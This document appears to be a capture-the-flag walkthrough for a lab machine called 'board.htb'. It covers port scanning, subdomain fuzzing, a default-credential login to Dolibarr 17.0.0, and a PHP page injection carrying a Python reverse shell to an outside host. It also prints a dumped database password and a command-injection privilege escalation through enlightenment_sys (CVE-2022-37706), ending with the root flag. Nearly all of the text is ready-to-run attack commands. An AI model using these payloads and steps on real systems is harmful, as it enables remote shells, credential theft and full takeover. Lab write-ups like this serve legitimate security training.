TCP Scan

> TARGET=10.129.66.131 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

board.htb

enum

> dirsearch -u board.htb
[05:43:02] 200 -    2KB - /about.php
[05:43:37] 404 -   16B  - /composer.phar
[05:43:39] 200 -    2KB - /contact.php
[05:43:40] 301 -  304B  - /css  ->  http://board.htb/css/
[05:43:59] 301 -  307B  - /images  ->  http://board.htb/images/

> wfuzz -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://board.htb/" -H "Host: FUZZ.board.htb" --hl 107
000000072:   200        149 L    504 W      6360 Ch     "crm"

crm.board.htb

Dolibarr 17.0.0
login with admin:admin
refer to https://www.swascan.com/security-advisory-dolibarr-17-0-0/
go to http://crm.board.htb/user/perms.php?id=2, check permission
go to http://crm.board.htb/website/index.php
create a website and a page, Enable shown dynamis content

<section id="mysection1" contenteditable="true">

<?PHP
echo system('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.88",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');
?>

</section>

user

www-data@boardlight:~/html/crm.board.htb$ cat /var/www/html/crm.board.htb/htdocs/conf/conf.php
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';

root

[+] SUID - Check easy privesc, exploits and write perms
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root        15K Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root        27K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys (Unknown SUID binary)

mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net

# cat /root/root.txt
cf458a339a7408c1dbfaf89087851347

https://www.exploit-db.com/exploits/51180 https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit/blob/main/exploit.sh https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit

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